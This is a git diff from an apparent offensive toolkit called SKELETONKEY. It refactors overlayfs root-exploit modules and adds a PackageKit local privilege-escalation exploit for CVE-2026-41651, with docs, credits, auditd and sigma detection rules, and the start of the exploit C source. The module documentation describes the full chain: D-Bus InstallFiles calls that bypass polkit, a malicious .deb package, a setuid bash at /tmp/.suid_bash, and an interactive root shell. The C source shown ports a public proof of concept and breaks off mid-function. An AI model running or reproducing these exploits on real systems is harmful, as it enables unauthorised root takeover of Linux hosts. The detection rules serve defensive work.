* the local is_ubuntu() helper is preserved for symmetry / future
|
||||||
|
* standalone use but the dispatcher path goes through ctx->host). */
|
||||||
|
bool ubuntu = ctx->host
|
||||||
|
? (strcmp(ctx->host->distro_id, "ubuntu") == 0)
|
||||||
|
: is_ubuntu();
|
||||||
|
if (!ubuntu) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n");
|
fprintf(stderr, "[+] overlayfs: not Ubuntu (distro=%s) — bug is "
|
||||||
|
"Ubuntu-specific\n",
|
||||||
|
ctx->host ? ctx->host->distro_id : "?");
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
@@ -180,7 +192,7 @@ static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
|
|||||||
* Ubuntu fix is per-release-specific; conservatively report
|
* Ubuntu fix is per-release-specific; conservatively report
|
||||||
* VULNERABLE if version < 5.13 (covers most affected Ubuntu LTS),
|
* VULNERABLE if version < 5.13 (covers most affected Ubuntu LTS),
|
||||||
* and recommend --active for confirmation. */
|
* and recommend --active for confirmation. */
|
||||||
if (v.major < 5 || (v.major == 5 && v.minor < 13)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 13, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — "
|
fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — "
|
||||||
"re-run with --active to confirm\n", v.release);
|
"re-run with --active to confirm\n", v.release);
|
||||||
@@ -446,6 +458,28 @@ fail_workdir:
|
|||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: overlayfs / unshare(CLONE_NEWUSER|CLONE_NEWNS) /
|
||||||
|
* setxattr("security.capability") are all Linux-only. Stub out so the
|
||||||
|
* module still registers and the top-level `make` completes on
|
||||||
|
* macOS/BSD dev boxes. */
|
||||||
|
static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] overlayfs: Linux-only module "
|
||||||
|
"(Ubuntu userns-overlayfs) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] overlayfs: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
/* ----- Embedded detection rules ----- */
|
/* ----- Embedded detection rules ----- */
|
||||||
|
|
||||||
static const char overlayfs_auditd[] =
|
static const char overlayfs_auditd[] =
|
||||||
|
|||||||
@@ -40,14 +40,18 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdint.h>
|
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include <stdint.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
@@ -68,18 +72,10 @@ static const struct kernel_range overlayfs_setuid_range = {
|
|||||||
sizeof(overlayfs_setuid_patched_branches[0]),
|
sizeof(overlayfs_setuid_patched_branches[0]),
|
||||||
};
|
};
|
||||||
|
|
||||||
static int can_unshare_userns_mount(void)
|
/* The unprivileged-userns precondition is now read from the shared
|
||||||
{
|
* host fingerprint (ctx->host->unprivileged_userns_allowed), which
|
||||||
pid_t pid = fork();
|
* probes once at startup via core/host.c. The previous per-detect
|
||||||
if (pid < 0) return -1;
|
* fork-probe helper was removed. */
|
||||||
if (pid == 0) {
|
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
|
||||||
_exit(1);
|
|
||||||
}
|
|
||||||
int status;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static const char *find_setuid_in_lower(void)
|
static const char *find_setuid_in_lower(void)
|
||||||
{
|
{
|
||||||
@@ -98,39 +94,43 @@ static const char *find_setuid_in_lower(void)
|
|||||||
|
|
||||||
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] overlayfs_setuid: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] overlayfs_setuid: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 5.11 when ovl copy-up was generalized.
|
/* Bug introduced in 5.11 when ovl copy-up was generalized.
|
||||||
* Pre-5.11 immune via a different code path. */
|
* Pre-5.11 immune via a different code path. */
|
||||||
if (v.major < 5 || (v.major == 5 && v.minor < 11)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 11, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug "
|
fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug "
|
||||||
"(introduced in 5.11)\n", v.release);
|
"(introduced in 5.11)\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, &v);
|
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns_mount();
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] overlayfs_setuid: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[i] overlayfs_setuid: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] overlayfs_setuid: user_ns+mount_ns clone: %s\n",
|
fprintf(stderr, "[i] overlayfs_setuid: user_ns+mount_ns clone: %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" : "could not test");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n");
|
fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
@@ -197,7 +197,10 @@ static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ct
|
|||||||
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
/* Consult ctx->host->is_root so unit tests can construct a
|
||||||
|
* non-root fingerprint regardless of the test process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
|
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
@@ -371,6 +374,32 @@ static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ct
|
|||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: overlayfs copy-up / unshare(CLONE_NEWUSER|CLONE_NEWNS)
|
||||||
|
* / mount("overlay", ...) are Linux-only. Stub out so the module still
|
||||||
|
* registers and the top-level `make` completes on macOS/BSD dev boxes. */
|
||||||
|
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] overlayfs_setuid: Linux-only module "
|
||||||
|
"(overlayfs setuid copy-up) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] overlayfs_setuid: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
static const char overlayfs_setuid_auditd[] =
|
static const char overlayfs_setuid_auditd[] =
|
||||||
"# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n"
|
"# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n"
|
||||||
"# Same surface as CVE-2021-3493; share the skeletonkey-overlayfs key.\n"
|
"# Same surface as CVE-2021-3493; share the skeletonkey-overlayfs key.\n"
|
||||||
|
|||||||
@@ -0,0 +1,72 @@
|
|||||||
|
# pack2theroot — CVE-2026-41651
|
||||||
|
|
||||||
|
> 🟡 **PRIMITIVE / ported.** Faithful port of the public Vozec PoC.
|
||||||
|
> **Not yet validated end-to-end on a vulnerable host** — see
|
||||||
|
> _Verification status_.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
Pack2TheRoot is a userspace LPE in the **PackageKit** daemon
|
||||||
|
(`packagekitd`), the cross-distro package-management D-Bus abstraction
|
||||||
|
layer shipped on virtually every desktop and most modern server Linux
|
||||||
|
distros (Ubuntu, Debian, Fedora, Rocky/RHEL via Cockpit, openSUSE…).
|
||||||
|
|
||||||
|
Three cooperating bugs in `src/pk-transaction.c` chain into a TOCTOU
|
||||||
|
window between polkit authorisation and dispatch. **The exploit needs
|
||||||
|
no GUI session, no special permissions, and no polkit prompt** —
|
||||||
|
GLib's D-Bus-vs-idle priority ordering makes it deterministic, not a
|
||||||
|
timing race.
|
||||||
|
|
||||||
|
```
|
||||||
|
1. InstallFiles(SIMULATE, dummy.deb) ← polkit bypassed; idle queued
|
||||||
|
2. InstallFiles(NONE, payload.deb) ← cached_flags overwritten
|
||||||
|
3. GLib idle fires → pk_transaction_run() ← reads payload.deb + NONE
|
||||||
|
→ dpkg runs postinst as root → SUID bash → root shell
|
||||||
|
```
|
||||||
|
|
||||||
|
The payload `.deb` is built entirely in C inside the module
|
||||||
|
(ar / ustar / gzip-stored, no external `dpkg-deb` dependency).
|
||||||
|
|
||||||
|
## Operations
|
||||||
|
|
||||||
|
| Op | Behaviour |
|
||||||
|
|---|---|
|
||||||
|
| `--scan` | Checks Debian/Ubuntu host, system D-Bus accessible, `org.freedesktop.PackageKit` registered, and reads `VersionMajor/Minor/Micro` from the daemon. Returns VULNERABLE only when the version falls in `1.0.2 ≤ V ≤ 1.3.4`. The fix release (1.3.5, commit `76cfb675`, 2026-04-22) is pinned. |
|
||||||
|
| `--exploit … --i-know` | Builds the two `.deb`s in `/tmp`, fires the two `InstallFiles` D-Bus calls back-to-back, polls up to 120s for `/tmp/.suid_bash` to appear, then `execv`s it for an interactive root shell. `--no-shell` stops after the SUID bash lands. |
|
||||||
|
| `--cleanup` | Removes the staged `.deb` files; best-effort `unlink(/tmp/.suid_bash)` (the file is root-owned — needs root to remove); best-effort `sudo -n dpkg -r` the installed staging packages. |
|
||||||
|
| `--detect-rules` | Emits embedded auditd + sigma rules covering the file-side footprint (the D-Bus call itself isn't auditable without bus monitoring). |
|
||||||
|
|
||||||
|
## Preconditions
|
||||||
|
|
||||||
|
- Linux + Debian/Ubuntu (the PoC's built-in `.deb` builder is
|
||||||
|
Debian-family only; RHEL/Fedora ports would need an `.rpm` builder).
|
||||||
|
- PackageKit daemon registered on the system bus.
|
||||||
|
- PackageKit version in `[1.0.2, 1.3.4]`.
|
||||||
|
- Module built with `libglib2.0-dev` available (the top-level Makefile
|
||||||
|
autodetects `gio-2.0` via `pkg-config`; the module compiles as a
|
||||||
|
stub returning `PRECOND_FAIL` when GLib is absent).
|
||||||
|
|
||||||
|
## Side-effect notes
|
||||||
|
|
||||||
|
The exploit installs a malicious `.deb` (registered in dpkg's database
|
||||||
|
as `skeletonkey-p2tr-payload`) and drops `/tmp/.suid_bash`. Both are
|
||||||
|
intentionally visible — this is an authorised-testing tool, not a
|
||||||
|
covert toolkit. Run `--cleanup` (preferably as root) before leaving
|
||||||
|
the host.
|
||||||
|
|
||||||
|
## Verification status
|
||||||
|
|
||||||
|
This module is a **faithful port** of
|
||||||
|
<https://github.com/Vozec/CVE-2026-41651> into the SKELETONKEY module
|
||||||
|
interface. It has **not** been validated end-to-end against a known-
|
||||||
|
vulnerable PackageKit host inside the SKELETONKEY CI matrix.
|
||||||
|
|
||||||
|
Unlike the page-cache modules, `detect()` here is high-confidence:
|
||||||
|
the fix release is officially pinned and the version is read directly
|
||||||
|
from the daemon over D-Bus, so a `VULNERABLE` verdict is grounded in
|
||||||
|
upstream's own version metadata rather than a heuristic.
|
||||||
|
|
||||||
|
**Before promoting to 🟢:** validate the trigger end-to-end on a
|
||||||
|
Debian/Ubuntu host with PackageKit ≤ 1.3.4 (the Vozec repo ships a
|
||||||
|
Dockerfile that builds PackageKit 1.3.4 from source — that is the
|
||||||
|
recommended bench).
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
# NOTICE — pack2theroot
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2026-41651** — Pack2TheRoot. PackageKit TOCTOU local privilege
|
||||||
|
escalation in `src/pk-transaction.c`: two cooperating bugs allow
|
||||||
|
`cached_transaction_flags` and `cached_full_paths` to be overwritten
|
||||||
|
between polkit authorisation and dispatch, and a third bug causes the
|
||||||
|
dispatcher to read those cached values at fire time rather than at
|
||||||
|
authorisation time. GLib's D-Bus-vs-idle priority ordering makes the
|
||||||
|
overwrite deterministic, not a timing race.
|
||||||
|
|
||||||
|
CVSS 8.1. Affects PackageKit `1.0.2` through `1.3.4` (over a decade
|
||||||
|
of releases). Fixed in **PackageKit 1.3.5** (upstream commit
|
||||||
|
`76cfb675`, 2026-04-22).
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered and disclosed by the **Deutsche Telekom security team**.
|
||||||
|
|
||||||
|
> Telekom advisory: <https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html>
|
||||||
|
> Upstream advisory: <https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv>
|
||||||
|
|
||||||
|
The standalone proof-of-concept exploit the SKELETONKEY module is
|
||||||
|
ported from is by **Vozec**:
|
||||||
|
|
||||||
|
> Reference PoC: <https://github.com/Vozec/CVE-2026-41651>
|
||||||
|
|
||||||
|
The Vozec repository carries no `LICENSE` file at the time of porting;
|
||||||
|
the SKELETONKEY-distributed `skeletonkey_modules.c` is original
|
||||||
|
SKELETONKEY-licensed code (MIT) that reproduces the PoC's deb-builder
|
||||||
|
(ar / ustar / gzip-stored) and D-Bus call sequence. Independent
|
||||||
|
research credit belongs to the people above.
|
||||||
|
|
||||||
|
A CTF-style lab by **dinosn** (Dockerised PackageKit 1.3.4 build with
|
||||||
|
the exploit pre-set) is a useful reference bench:
|
||||||
|
|
||||||
|
> CTF lab: <https://github.com/dinosn/pack2theroot-lab>
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
`skeletonkey_modules.c` wraps the PoC in the standard
|
||||||
|
`skeletonkey_module` detect / exploit / cleanup interface, adds the
|
||||||
|
embedded auditd + sigma rules, and reads PackageKit's
|
||||||
|
`VersionMajor/Minor/Micro` D-Bus properties so `detect()` can give a
|
||||||
|
high-confidence verdict (the fix release 1.3.5 is officially pinned —
|
||||||
|
no version-fabrication caveat).
|
||||||
|
|
||||||
|
## Verification status
|
||||||
|
|
||||||
|
**Ported, not yet validated end-to-end on a vulnerable host.** See
|
||||||
|
`MODULE.md` for the recommended verification path (Vozec's Dockerised
|
||||||
|
PackageKit-1.3.4 bench).
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
# Pack2TheRoot (CVE-2026-41651) — auditd detection rules
|
||||||
|
#
|
||||||
|
# PackageKit TOCTOU LPE: two back-to-back InstallFiles D-Bus calls
|
||||||
|
# install a malicious .deb as root, whose postinst drops a SUID bash
|
||||||
|
# in /tmp. The D-Bus traffic itself is not auditable without bus
|
||||||
|
# monitoring (dbus-monitor / dbus-broker logs), so these rules cover
|
||||||
|
# the file-side footprint.
|
||||||
|
#
|
||||||
|
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||||
|
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||||
|
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
|
|
||||||
|
# The exact SUID payload path the published PoC lands
|
||||||
|
-w /tmp/.suid_bash -p wa -k skeletonkey-pack2theroot
|
||||||
|
|
||||||
|
# Any setuid bit set on /tmp/.suid_bash by anyone
|
||||||
|
-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \
|
||||||
|
-F path=/tmp/.suid_bash -k skeletonkey-pack2theroot-suid
|
||||||
|
|
||||||
|
# The PoC drops two .deb files in /tmp immediately before the install
|
||||||
|
-a always,exit -F arch=b64 -S openat,creat \
|
||||||
|
-F dir=/tmp -F success=1 -k skeletonkey-pack2theroot-deb
|
||||||
|
|
||||||
|
# packagekitd-driven dpkg/apt activity initiated by a non-root caller
|
||||||
|
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/dpkg \
|
||||||
|
-F auid!=0 -k skeletonkey-pack2theroot-dpkg
|
||||||
|
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \
|
||||||
|
-F auid!=0 -k skeletonkey-pack2theroot-apt
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
title: Possible Pack2TheRoot exploitation (CVE-2026-41651)
|
||||||
|
id: 3f2b8d54-skeletonkey-pack2theroot
|
||||||
|
status: experimental
|
||||||
|
description: |
|
||||||
|
Detects the file-side footprint of Pack2TheRoot (CVE-2026-41651): a
|
||||||
|
non-root user triggers PackageKit InstallFiles, dpkg runs a postinst
|
||||||
|
that drops /tmp/.suid_bash (a setuid bash), and a privileged shell
|
||||||
|
follows. The trigger itself is two back-to-back D-Bus calls with no
|
||||||
|
polkit prompt — only visible via dbus-monitor or the file side
|
||||||
|
effects flagged below.
|
||||||
|
references:
|
||||||
|
- https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html
|
||||||
|
- https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv
|
||||||
|
- https://github.com/Vozec/CVE-2026-41651
|
||||||
|
logsource:
|
||||||
|
product: linux
|
||||||
|
service: auditd
|
||||||
|
detection:
|
||||||
|
suid_drop:
|
||||||
|
type: 'PATH'
|
||||||
|
name|startswith:
|
||||||
|
- '/tmp/.suid_bash'
|
||||||
|
- '/tmp/.pk-payload-'
|
||||||
|
- '/tmp/.pk-dummy-'
|
||||||
|
not_root:
|
||||||
|
auid|expression: '!= 0'
|
||||||
|
condition: suid_drop and not_root
|
||||||
|
level: high
|
||||||
|
tags:
|
||||||
|
- attack.privilege_escalation
|
||||||
|
- attack.t1068
|
||||||
|
- cve.2026.41651
|
||||||
@@ -0,0 +1,710 @@
|
|||||||
|
/*
|
||||||
|
* pack2theroot_cve_2026_41651 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* Pack2TheRoot (CVE-2026-41651) — PackageKit TOCTOU LPE.
|
||||||
|
*
|
||||||
|
* Three cooperating bugs in PackageKit's `src/pk-transaction.c`:
|
||||||
|
* BUG 1 InstallFiles() stores cached_transaction_flags and
|
||||||
|
* cached_full_paths unconditionally, with no state guard.
|
||||||
|
* BUG 2 pk_transaction_set_state() silently rejects backward
|
||||||
|
* transitions (READY → WAITING_FOR_AUTH).
|
||||||
|
* BUG 3 pk_transaction_run() reads the cached flags at dispatch
|
||||||
|
* time, not at authorisation time.
|
||||||
|
* BYPASS The SIMULATE flag skips polkit entirely.
|
||||||
|
*
|
||||||
|
* Two back-to-back async D-Bus InstallFiles() calls — first with
|
||||||
|
* SIMULATE (bypasses polkit, queues a GLib idle callback), then
|
||||||
|
* immediately with NONE + the malicious .deb (overwrites the cached
|
||||||
|
* flags/paths before the idle fires). GLib priority ordering makes
|
||||||
|
* this deterministic, not a timing race. postinst of the malicious
|
||||||
|
* .deb installs a SUID bash at /tmp/.suid_bash → root shell.
|
||||||
|
*
|
||||||
|
* This module is a faithful port of the public PoC by Vozec
|
||||||
|
* (github.com/Vozec/CVE-2026-41651); the deb-builder helpers
|
||||||
|
* (CRC-32, gzip-stored, tar entry, ar entry, build_deb) and the
|
||||||
|
* D-Bus call sequence are reproduced from that PoC. The original
|
||||||
|
* disclosure was by the Deutsche Telekom security team. See
|
||||||
|
* NOTICE.md.
|
||||||
|
*
|
||||||
|
* Build adaptation: the module requires GLib/GIO for D-Bus. The
|
||||||
|
* top-level Makefile autodetects gio-2.0 via pkg-config and defines
|
||||||
|
* PACK2TR_HAVE_GIO when present. When absent, the module compiles as
|
||||||
|
* a stub that returns PRECOND_FAIL with a build-time hint.
|
||||||
|
*
|
||||||
|
* Port adaptations vs. the standalone PoC:
|
||||||
|
* - wrapped in the skeletonkey_module detect/exploit/cleanup interface
|
||||||
|
* - exploit() runs the PoC body in a forked child so the PoC's
|
||||||
|
* die()/exit() paths cannot tear down the skeletonkey dispatcher
|
||||||
|
* - detect() does a passive precondition + version check (vulnerable
|
||||||
|
* range 1.0.2 ≤ V ≤ 1.3.4, fixed in 1.3.5) — no version-only
|
||||||
|
* fabrication; the fix release is officially pinned
|
||||||
|
* - honours ctx->no_shell (build + fire the TOCTOU, do not spawn
|
||||||
|
* the SUID bash shell)
|
||||||
|
* - cleanup() removes the two /tmp .debs and best-effort-unlinks
|
||||||
|
* /tmp/.suid_bash (which requires root since it is owned by root)
|
||||||
|
*
|
||||||
|
* VERIFICATION STATUS: ported, NOT yet validated end-to-end on a
|
||||||
|
* vulnerable PackageKit (1.3.4 or earlier) host. The fix release
|
||||||
|
* (1.3.5, commit 76cfb675, 2026-04-22) IS pinned.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#if defined(__linux__) && defined(PACK2TR_HAVE_GIO)
|
||||||
|
|
||||||
|
/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level
|
||||||
|
* Makefile; do not redefine here. */
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <sys/file.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <glib.h>
|
||||||
|
#include <gio/gio.h>
|
||||||
|
|
||||||
|
/* ── config ────────────────────────────────────────────────────────── */
|
||||||
|
#define SUID_PATH "/tmp/.suid_bash"
|
||||||
|
#define PK_BUS "org.freedesktop.PackageKit"
|
||||||
|
#define PK_OBJ "/org/freedesktop/PackageKit"
|
||||||
|
#define PK_IFACE "org.freedesktop.PackageKit"
|
||||||
|
#define PK_TX_IFACE "org.freedesktop.PackageKit.Transaction"
|
||||||
|
#define FLAG_NONE ((guint64)0)
|
||||||
|
#define FLAG_SIMULATE ((guint64)(1u << 2)) /* SIMULATE bypasses polkit */
|
||||||
|
|
||||||
|
/* Vulnerable range: PackageKit 1.0.2 ≤ V ≤ 1.3.4. Fixed in 1.3.5. */
|
||||||
|
#define P2TR_VER(M,m,p) ((M)*10000 + (m)*100 + (p))
|
||||||
|
#define P2TR_VER_LO P2TR_VER(1,0,2)
|
||||||
|
#define P2TR_VER_HI P2TR_VER(1,3,4)
|
||||||
|
|
||||||
|
static int p2tr_verbose = 1;
|
||||||
|
#define LOG(fmt, ...) do { if (p2tr_verbose) \
|
||||||
|
fprintf(stderr, "[*] pack2theroot: " fmt "\n", ##__VA_ARGS__); } while (0)
|
||||||
|
#define ERR(fmt, ...) fprintf(stderr, "[-] pack2theroot: " fmt "\n", ##__VA_ARGS__)
|
||||||
|
|
||||||
|
/* ── CRC-32 (ISO 3309) — verbatim from V12 PoC ─────────────────────── */
|
||||||
|
static uint32_t crc_tab[256];
|
||||||
|
static void crc_init(void)
|
||||||
|
{
|
||||||
|
for (unsigned i = 0; i < 256; i++) {
|
||||||
|
uint32_t c = i;
|
||||||
|
for (int j = 0; j < 8; j++) c = (c&1) ? (0xedb88320u ^ (c>>1)) : (c>>1);
|
||||||
|
crc_tab[i] = c;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
static uint32_t crc32_iso(const void *src, size_t n)
|
||||||
|
{
|
||||||
|
const uint8_t *p = src; uint32_t c = 0xffffffffu;
|
||||||
|
while (n--) c = crc_tab[(c ^ *p++) & 0xff] ^ (c >> 8);
|
||||||
|
return c ^ 0xffffffffu;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── gzip stored deflate block (max 65535 B) ───────────────────────── */
|
||||||
|
static size_t gzip_store(const void *src, size_t len, uint8_t *dst)
|
||||||
|
{
|
||||||
|
if (len > 0xffff) return 0;
|
||||||
|
uint8_t *p = dst;
|
||||||
|
*p++ = 0x1f; *p++ = 0x8b; *p++ = 0x08; *p++ = 0x00;
|
||||||
|
p[0]=p[1]=p[2]=p[3]=0; p+=4; *p++ = 0x00; *p++ = 0xff;
|
||||||
|
uint16_t ln = len, nln = ~ln;
|
||||||
|
*p++ = 0x01; memcpy(p, &ln, 2); p += 2; memcpy(p, &nln, 2); p += 2;
|
||||||
|
memcpy(p, src, len); p += len;
|
||||||
|
uint32_t c = crc32_iso(src, len), s = (uint32_t)len;
|
||||||
|
memcpy(p, &c, 4); p += 4; memcpy(p, &s, 4); p += 4;
|
||||||
|
return p - dst;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── ustar tar entry ───────────────────────────────────────────────── */
|
||||||
|
static size_t tar_entry(uint8_t *buf, const char *name, const void *data,
|
||||||
|
size_t dlen, mode_t mode, char type)
|
||||||
|
{
|
||||||
|
memset(buf, 0, 512);
|
||||||
|
snprintf((char *)buf, 100, "%s", name);
|
||||||
|
snprintf((char *)buf+100, 8, "%07o", (unsigned)mode);
|
||||||
|
snprintf((char *)buf+108, 8, "%07o", 0u);
|
||||||
|
snprintf((char *)buf+116, 8, "%07o", 0u);
|
||||||
|
snprintf((char *)buf+124, 12, "%011o", (unsigned)dlen);
|
||||||
|
snprintf((char *)buf+136, 12, "%011o", (unsigned)time(NULL));
|
||||||
|
memset(buf+148, ' ', 8);
|
||||||
|
buf[156] = type;
|
||||||
|
memcpy(buf+257, "ustar", 5); memcpy(buf+263, "00", 2);
|
||||||
|
unsigned sum = 0; for (int i = 0; i < 512; i++) sum += buf[i];
|
||||||
|
snprintf((char *)buf+148, 8, "%06o", sum);
|
||||||
